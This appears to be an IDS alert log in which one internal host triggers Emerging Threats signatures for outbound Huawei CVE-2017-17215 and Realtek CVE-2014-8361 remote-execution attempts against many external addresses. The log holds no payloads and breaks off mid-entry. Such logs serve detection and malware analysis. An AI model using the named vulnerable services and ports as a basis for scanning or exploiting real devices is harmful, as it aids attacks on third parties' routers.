ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 173.225.79.113

Timestamp:	07/20/24-23:10:51.955556
SID:	2831300
Source Port:	60754
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.174.153.88

Timestamp:	07/20/24-23:10:42.263488
SID:	2835222
Source Port:	57540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 104.121.92.152

Timestamp:	07/20/24-23:10:58.998725
SID:	2829579
Source Port:	55608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.89.116.170

Timestamp:	07/20/24-23:10:39.434366
SID:	2835222
Source Port:	45306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.238.31.136

Timestamp:	07/20/24-23:10:40.656564
SID:	2829579
Source Port:	34744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 1.209.39.62

Timestamp:	07/20/24-23:10:51.951774
SID:	2027339
Source Port:	37096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 200.10.220.119

Timestamp:	07/20/24-23:10:45.129206
SID:	2027339
Source Port:	43422
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.135.100.3

Timestamp:	07/20/24-23:10:39.431804
SID:	2835222
Source Port:	47204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 205.121.31.87

Timestamp:	07/20/24-23:10:39.479427
SID:	2835222
Source Port:	56498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 20.255.176.224

Timestamp:	07/20/24-23:10:39.479939
SID:	2835222
Source Port:	48196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.52.85.28

Timestamp:	07/20/24-23:10:39.488246
SID:	2829579
Source Port:	32936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 102.119.6.178

Timestamp:	07/20/24-23:10:42.630026
SID:	2831300
Source Port:	42686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.234.208.153

Timestamp:	07/20/24-23:10:52.564314
SID:	2829579
Source Port:	47604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.35.28.210

Timestamp:	07/20/24-23:11:06.706527
SID:	2835222
Source Port:	60362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.230.250.188

Timestamp:	07/20/24-23:10:49.402846
SID:	2829579
Source Port:	46458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 14.45.204.86

Timestamp:	07/20/24-23:10:51.898994
SID:	2027339
Source Port:	40506
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.80.71.112

Timestamp:	07/20/24-23:11:03.381593
SID:	2829579
Source Port:	36082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.21.149.230

Timestamp:	07/20/24-23:10:49.355429
SID:	2835222
Source Port:	41098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 69.210.2.130

Timestamp:	07/20/24-23:10:42.629188
SID:	2831300
Source Port:	56698
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.91.56.136

Timestamp:	07/20/24-23:10:46.756315
SID:	2835222
Source Port:	33930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.194.143.112

Timestamp:	07/20/24-23:10:42.266162
SID:	2829579
Source Port:	58630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 86.41.84.165

Timestamp:	07/20/24-23:10:47.735808
SID:	2025132
Source Port:	47698
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.167.93.130

Timestamp:	07/20/24-23:10:39.438615
SID:	2829579
Source Port:	34812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 44.223.237.79

Timestamp:	07/20/24-23:10:52.572631
SID:	2829579
Source Port:	39952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.19.165.238

Timestamp:	07/20/24-23:10:46.750827
SID:	2835222
Source Port:	37674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.31.186.62

Timestamp:	07/20/24-23:10:42.273908
SID:	2835222
Source Port:	50906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 157.142.69.44

Timestamp:	07/20/24-23:10:39.086935
SID:	2027339
Source Port:	53020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.197.53.118

Timestamp:	07/20/24-23:10:39.474284
SID:	2829579
Source Port:	45236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 60.113.117.170

Timestamp:	07/20/24-23:10:51.917508
SID:	2027339
Source Port:	43532
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 222.79.179.243

Timestamp:	07/20/24-23:10:44.798999
SID:	2025132
Source Port:	32798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 150.120.29.98

Timestamp:	07/20/24-23:10:56.007995
SID:	2829579
Source Port:	33812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.231.169.250

Timestamp:	07/20/24-23:10:56.024382
SID:	2835222
Source Port:	42280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 103.44.42.7

Timestamp:	07/20/24-23:10:52.024960
SID:	2831300
Source Port:	44888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.150.107.212

Timestamp:	07/20/24-23:10:41.693872
SID:	2835222
Source Port:	47850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.108.86.125

Timestamp:	07/20/24-23:11:03.352491
SID:	2829579
Source Port:	58310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 2.190.145.125

Timestamp:	07/20/24-23:10:52.047583
SID:	2831300
Source Port:	36086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.0.193.209

Timestamp:	07/20/24-23:10:46.817181
SID:	2829579
Source Port:	54106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 129.64.233.15

Timestamp:	07/20/24-23:10:51.940555
SID:	2831300
Source Port:	36014
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.66.194.114

Timestamp:	07/20/24-23:10:55.979374
SID:	2835222
Source Port:	39522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.246.232.48

Timestamp:	07/20/24-23:10:52.598915
SID:	2829579
Source Port:	36828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.224.199.166

Timestamp:	07/20/24-23:10:56.002190
SID:	2835222
Source Port:	40040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 8.33.228.87

Timestamp:	07/20/24-23:10:41.241817
SID:	2835222
Source Port:	60980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.125.87.19

Timestamp:	07/20/24-23:11:06.669620
SID:	2835222
Source Port:	60090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 141.208.201.80

Timestamp:	07/20/24-23:10:43.890801
SID:	2025132
Source Port:	52482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.52.107.71

Timestamp:	07/20/24-23:10:56.046358
SID:	2835222
Source Port:	39784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 107.205.165.229

Timestamp:	07/20/24-23:10:42.630640
SID:	2831300
Source Port:	60034
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.226.97.81

Timestamp:	07/20/24-23:10:59.029071
SID:	2835222
Source Port:	49752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 119.63.35.114

Timestamp:	07/20/24-23:10:46.015455
SID:	2025132
Source Port:	40828
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 86.108.11.155

Timestamp:	07/20/24-23:10:51.961781
SID:	2831300
Source Port:	33582
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.66.86.212

Timestamp:	07/20/24-23:11:03.390577
SID:	2835222
Source Port:	55364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.128.15.43

Timestamp:	07/20/24-23:10:52.592459
SID:	2829579
Source Port:	37772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.179.102.250

Timestamp:	07/20/24-23:10:56.007995
SID:	2835222
Source Port:	34006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.29.39.190

Timestamp:	07/20/24-23:10:56.046357
SID:	2835222
Source Port:	37974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.20.234.243

Timestamp:	07/20/24-23:11:03.396755
SID:	2829579
Source Port:	33264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 203.39.100.182

Timestamp:	07/20/24-23:10:42.642008
SID:	2831300
Source Port:	44534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 200.157.164.208

Timestamp:	07/20/24-23:10:43.912015
SID:	2027339
Source Port:	53734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 222.44.99.94

Timestamp:	07/20/24-23:10:44.653577
SID:	2025132
Source Port:	59708
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.112.79.16

Timestamp:	07/20/24-23:10:49.404246
SID:	2835222
Source Port:	45608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.76.77.102

Timestamp:	07/20/24-23:10:46.865461
SID:	2829579
Source Port:	43298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.89.134.2

Timestamp:	07/20/24-23:10:42.262762
SID:	2829579
Source Port:	33588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.62.66.140

Timestamp:	07/20/24-23:10:49.398416
SID:	2829579
Source Port:	42846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.108.206.192

Timestamp:	07/20/24-23:10:55.977404
SID:	2829579
Source Port:	53148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.112.219.106

Timestamp:	07/20/24-23:10:42.269853
SID:	2835222
Source Port:	36970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 147.126.106.87

Timestamp:	07/20/24-23:10:56.002189
SID:	2835222
Source Port:	41614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 109.200.111.240

Timestamp:	07/20/24-23:10:43.209193
SID:	2025132
Source Port:	37926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 99.171.211.36

Timestamp:	07/20/24-23:10:52.033728
SID:	2831300
Source Port:	60848
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 163.176.80.203

Timestamp:	07/20/24-23:10:52.572631
SID:	2829579
Source Port:	50180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 216.129.222.152

Timestamp:	07/20/24-23:10:41.689073
SID:	2829579
Source Port:	46970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.79.234.73

Timestamp:	07/20/24-23:11:06.678578
SID:	2835222
Source Port:	53772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 149.136.218.225

Timestamp:	07/20/24-23:10:47.661709
SID:	2027339
Source Port:	57440
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 91.122.92.170

Timestamp:	07/20/24-23:10:39.137399
SID:	2025132
Source Port:	36298
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 133.236.123.161

Timestamp:	07/20/24-23:10:40.658204
SID:	2835222
Source Port:	43080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.162.71.183

Timestamp:	07/20/24-23:10:39.485535
SID:	2829579
Source Port:	58804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 134.116.6.133

Timestamp:	07/20/24-23:10:42.636108
SID:	2831300
Source Port:	49472
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 34.33.224.36

Timestamp:	07/20/24-23:10:51.940743
SID:	2027339
Source Port:	41188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 115.19.25.169

Timestamp:	07/20/24-23:10:40.658204
SID:	2835222
Source Port:	36836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 67.216.209.193

Timestamp:	07/20/24-23:10:41.230206
SID:	2835222
Source Port:	47042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.248.148.38

Timestamp:	07/20/24-23:10:41.220653
SID:	2835222
Source Port:	40522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 210.237.234.110

Timestamp:	07/20/24-23:10:43.416892
SID:	2027339
Source Port:	34096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.100.184.225

Timestamp:	07/20/24-23:11:03.371424
SID:	2829579
Source Port:	55440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.185.86.77

Timestamp:	07/20/24-23:10:52.551688
SID:	2835222
Source Port:	44076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.200.3.16

Timestamp:	07/20/24-23:10:40.650979
SID:	2835222
Source Port:	47314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 143.186.214.112

Timestamp:	07/20/24-23:10:47.856055
SID:	2027339
Source Port:	34974
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.69.206.184

Timestamp:	07/20/24-23:11:06.689532
SID:	2835222
Source Port:	43098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 166.129.166.145

Timestamp:	07/20/24-23:10:39.430692
SID:	2835222
Source Port:	59080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 47.37.4.111

Timestamp:	07/20/24-23:10:52.549473
SID:	2829579
Source Port:	40594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.0.200.163

Timestamp:	07/20/24-23:11:06.646712
SID:	2835222
Source Port:	53262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.68.217.148

Timestamp:	07/20/24-23:10:56.021160
SID:	2829579
Source Port:	33644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 151.26.100.131

Timestamp:	07/20/24-23:10:55.993044
SID:	2835222
Source Port:	52512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 24.199.214.168

Timestamp:	07/20/24-23:11:03.402557
SID:	2835222
Source Port:	33720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.131.188.191

Timestamp:	07/20/24-23:10:40.662520
SID:	2829579
Source Port:	48602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 17.132.101.117

Timestamp:	07/20/24-23:10:49.409236
SID:	2835222
Source Port:	42528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.117.210.59

Timestamp:	07/20/24-23:10:42.266163
SID:	2835222
Source Port:	54950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 12.188.91.94

Timestamp:	07/20/24-23:10:46.600005
SID:	2025132
Source Port:	43556
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 2.202.26.203

Timestamp:	07/20/24-23:10:52.004720
SID:	2027339
Source Port:	41498
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 218.122.204.1

Timestamp:	07/20/24-23:10:41.230206
SID:	2829579
Source Port:	57446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 144.122.77.129

Timestamp:	07/20/24-23:10:55.979374
SID:	2829579
Source Port:	34942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 208.102.27.6

Timestamp:	07/20/24-23:10:42.622796
SID:	2027339
Source Port:	39654
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.158.160.210

Timestamp:	07/20/24-23:10:49.348462
SID:	2835222
Source Port:	33832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.210.143.217

Timestamp:	07/20/24-23:11:06.641258
SID:	2835222
Source Port:	58510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.222.232.149

Timestamp:	07/20/24-23:11:03.378926
SID:	2835222
Source Port:	60600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 119.185.234.171

Timestamp:	07/20/24-23:10:51.984562
